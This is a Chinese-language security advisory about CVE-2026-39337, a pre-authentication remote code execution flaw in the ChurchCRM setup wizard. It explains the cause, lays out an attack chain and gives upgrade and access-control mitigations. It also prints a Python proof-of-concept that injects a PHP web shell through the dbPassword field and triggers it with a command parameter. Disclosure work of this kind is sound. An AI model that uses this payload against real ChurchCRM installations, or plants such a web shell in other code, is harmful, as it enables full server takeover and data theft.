IPBUF安全漏洞报告
English
CVE-2026-39337 CVSS 10.0 严重

CVE-2026-39337 ChurchCRM远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39337
漏洞类型
远程代码执行 (RCE)
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

RCE远程代码执行ChurchCRM代码注入严重漏洞Pre-authentication

漏洞概述

ChurchCRM是一个开源的教堂管理系统。在7.1.0版本之前,其安装向导中存在一个严重的预身份验证远程代码执行漏洞。未经身份验证的攻击者可以在初始安装过程中注入任意PHP代码,从而导致服务器完全被攻陷。该漏洞是由于“$dbPassword”变量未经过适当的清理和过滤造成的。此外,此次漏洞是针对CVE-2025-62521修复不彻底的结果。攻击者无需用户交互即可利用此漏洞,造成机密性、完整性和可用性的全面影响。该问题已在7.1.0版本中得到修复。

技术细节

该漏洞的核心原理在于ChurchCRM的设置向导在处理数据库配置参数时缺乏严格的输入验证。具体而言,用于存储数据库密码的变量“$dbPassword”未经过任何安全过滤,直接被写入配置文件或后续执行的脚本中。由于这是一个预认证漏洞,攻击者无需拥有系统的任何账户权限,只需访问处于初始安装状态的ChurchCRM实例即可实施攻击。攻击者通过向安装向导的特定接口发送特制的HTTP POST请求,在“$dbPassword”字段中注入恶意的PHP代码(如WebShell)。当系统尝试使用该配置连接数据库或执行后续的安装步骤时,这段恶意代码会被服务器端的PHP解析器执行。一旦代码执行成功,攻击者即可获得与Web服务用户相同的权限,从而完全控制服务器。

攻击链分析

STEP 1
步骤1:侦察
攻击者在互联网上扫描处于初始安装阶段(即存在/setup.php路径)的ChurchCRM实例。
STEP 2
步骤2:漏洞利用
攻击者向安装向导接口发送特制的HTTP POST请求,在dbPassword参数中注入恶意的PHP代码。
STEP 3
步骤3:代码写入与执行
由于缺乏过滤,恶意代码被写入系统配置文件。当系统加载该配置或执行相关脚本时,恶意PHP代码被服务器解析执行。
STEP 4
步骤4:建立控制权
攻击者通过执行的系统命令获得服务器Shell权限,从而完全控制服务器,窃取数据或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the ChurchCRM setup wizard target_url = "http://target-ip/churchcrm/setup.php" # Malicious PHP payload to inject into dbPassword # This payload executes system commands passed via the 'cmd' GET parameter php_payload = "<?php system($_GET['cmd']); ?>" # Prepare the data payload for the setup wizard request # The vulnerability lies in the 'dbPassword' field not being sanitized payload_data = { "dbHost": "localhost", "dbUser": "root", "dbPassword": php_payload, # Injection point "dbName": "churchcrm", "step": "3" # Assuming step 3 processes the database config } try: print("[*] Sending payload to setup wizard...") response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully!") print("[+] The PHP code may have been written to the configuration file.") print("[+] Attempting to trigger the payload...") # Example trigger URL (depends on where the config is included) trigger_url = "http://target-ip/churchcrm/include/Config.php?cmd=whoami" trigger_resp = requests.get(trigger_url) print(trigger_resp.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施
建议立即将ChurchCRM升级至7.1.0或更高版本以修补该漏洞。对于暂时无法升级的实例,应确保Web服务器配置正确,通过防火墙规则或访问控制列表(ACL)阻止外部IP访问安装向导目录,并在系统投入使用前彻底移除安装脚本,防止未授权用户利用初始化过程进行攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表